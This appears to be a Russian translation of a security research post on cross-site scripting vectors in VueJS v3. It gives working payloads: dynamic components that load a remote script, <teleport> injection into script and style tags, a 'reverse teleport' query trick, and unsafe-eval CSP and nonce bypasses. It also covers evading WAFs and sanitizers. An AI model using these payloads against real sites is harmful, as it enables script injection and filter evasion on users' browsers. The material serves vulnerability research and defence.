Это не работает, потому что VueJS v3 пытается разрешить компонент с именем x, которого не существует, потому что он родной. Следующий код является частью функции render ().

return function render(_ctx, _cache) {
  with (_ctx) {
    ...
    const _component_x = _resolveComponent("x")
    ...
  }
}

Однако есть специальный тег <component>, который используется hand-in-hand для создания динамических компонентов. Итак, все, что нам нужно сделать, это заменить x на компонент.

<component is=script src=//14.rs>

Для приведенного выше вектора функция render () выглядит так:

return function render(_ctx, _cache) {
  with (_ctx) {
    ...
    return (_openBlock(),

         _createBlock(_resolveDynamicComponent("script"),
       { src: "//⑭.₨" }))
  }
}

В результате самый короткий вектор для VueJS v3 составляет 31 байт.

<component is=script src=//⑭.₨>

В версии 3 можно использовать свойства DOM как атрибуты тега <component>. Это означает, что вы можете использовать текст свойства DOM, который будет добавлен к тегу <script> как текстовый узел, который затем будет добавлен в DOM.

<component is=script text=alert(1)>

Teleport

Мы наткнулись на действительно интересный новый тег в VueJS 3 под названием <teleport>. Этот тег позволяет передавать содержимое тега <teleport> в любой другой тег с помощью атрибута to, который принимает селектор CSS, который затем будет добавлен в DOM:

<teleport to="#x"><b>test</b></teleport> 

Содержимое тега передается даже для текстовых узлов. Это означает, что мы можем HTML-кодировать текстовый узел, и он будет декодирован перед передачей. Это работает для тегов <script> и <style> хотя в наших тестах мы обнаружили, что вам нужен существующий пустой элемент<script>:

<teleport to=script:nth-child(2)>alert&lpar;1&rpar;</teleport></div><script></script>

Доказательство концепции

В этом примере текущий стиль синий, но мы добавляем тег <teleport>, чтобы изменить стиль встроенной таблицы стилей. Затем текст станет красным:

<teleport to="style">
    /* Can be Entity Encoded */
    h1 {
      color: red;
    }
  </teleport> 
</div> 
 <h1>aaaa</h1>
<style>
  h1 {
    color: blue;
  }
</style>

Доказательство концепции

Вы можете комбинировать кодировку HTML с экранированием Unicode в JavaScript, чтобы создать несколько хороших векторов, которые могут обойти несколько WAF:

<teleport to=script:nth-child(2)>alert&lpar;1&rpar;</teleport></div><script></script>

Доказательство концепции

Обратный teleport

Мы также обнаружили то, что решили назвать «обратным телепортом». Мы уже обсуждали, что VueJS имеет тег <teleport>, но если вы включите селектор CSS в выражение шаблона, вы можете настроить таргетинг на любой другой элемент HTML и выполнить содержимое этого элемента как выражение. Это работает, даже если целевой тег находится за пределами приложения! 

Мы все были шокированы, когда осознали, что VueJS запускает querySelector для всего содержимого выражения, если оно начинается с символа #. Следующий фрагмент демонстрирует выражение с запросом CSS, нацеленным на <div> с классом haha. Второе выражение выполняется, даже если оно находится за пределами приложения.

<div id="app">#x,.haha</div><div class=haha>{{_Vue.h.constructor`alert(1)`()}}</div>
<!-- Notice the div above is outside the application div -->
<script src="vue3.js"></script>
<script nonce="sometoken">
const app = Vue.createApp({
  data() {
    return {
      input: '# hello'
    }
  }
})
app.mount('#app')
</script>

Сценарии использования

В этом разделе мы более подробно рассмотрим, где могут пригодиться эти скрипты.

WAF

Начнем с брандмауэров веб-приложений. Как мы уже видели, предстоит открыть для себя множество потенциальных устройств. Поскольку Vue применяет декодирование объектов HTML, существует высокая вероятность того, что вы сможете обойти распространенные WAF, такие как Cloudflare.

Sanitizers

Sanitizers, такие как DOMPurify, имеют очень хороший набор белых списков для тегов и атрибутов, которые помогают блокировать все, что не считается нормальным. Однако, поскольку все они допускают синтаксис шаблонов, они не обеспечивают надежной защиты от атак XSS при использовании вместе с интерфейсными фреймворками, такими как VueJS.

CSP

Vue работает, выполняя лексический анализ контента и разбирая его в абстрактное синтаксическое дерево (AST). Код передается в функцию рендеринга в виде строки, где он выполняется из-за функциональности конструктора Function, подобной eval. Это означает, что CSP должен быть определен таким образом, чтобы VueJS и приложение по-прежнему работали правильно. Если он содержит unsafe-eval, вы можете использовать Vue, чтобы легко обойти CSP. Обратите внимание, что strict-dynamic или nonce bypasses требуется unsafe-eval.

Unsafe-eval + nonce :

// v2
{{_c.constructor`alert(document.currentScript.nonce)`()}} 
// v3
{{_Vue.h.constructor`alert(document.currentScript.nonce)`()}}

Большинство векторов в этом посте работают с CSP. Единственное исключение – динамические компоненты и векторы на основе телепорта. Это потому, что они пытаются добавить в документ узел сценария, который CSP заблокирует (в зависимости от политики).

Заключение

Мы надеемся, что вам понравился наш пост так же, как нам понравилось его писать и придумывать интересные гаджеты. Несколько советов для разработчиков и хакеров, просматривающих этот пост:

  • При создании инфраструктуры JavaScript, тщательно продумывайте тип атаки которую вы проводите, как ее можно использовать или злоупотреблять.
  • Для хакеров, когда вы смотрите на новый фреймворк, углубляйтесь в его особенности. Посмотрите, как он обычно используются и как он может быть использованы неправильно. Мы рекомендовали заглянуть в исходники, чтобы точно понять, что происходит под капотом.

Все векторы, обсуждаемые в посте, были добавлены в нашу шпаргалку по XSS в разделе VueJS.

Если вам понравился этот пост, дайте нам знать! Мы заинтересованы в проведении дополнительных исследований VueJS и других клиентских и серверных фреймворков.

Была ли вам полезна эта статья?

Понравилась статья? Поделить с друзьями:
  • Vw ошибка 9478421
  • Vw touran ошибка 01435
  • Vw touran ошибка 00778
  • Vw touareg ошибка p025a00
  • Vw touareg ошибка 02042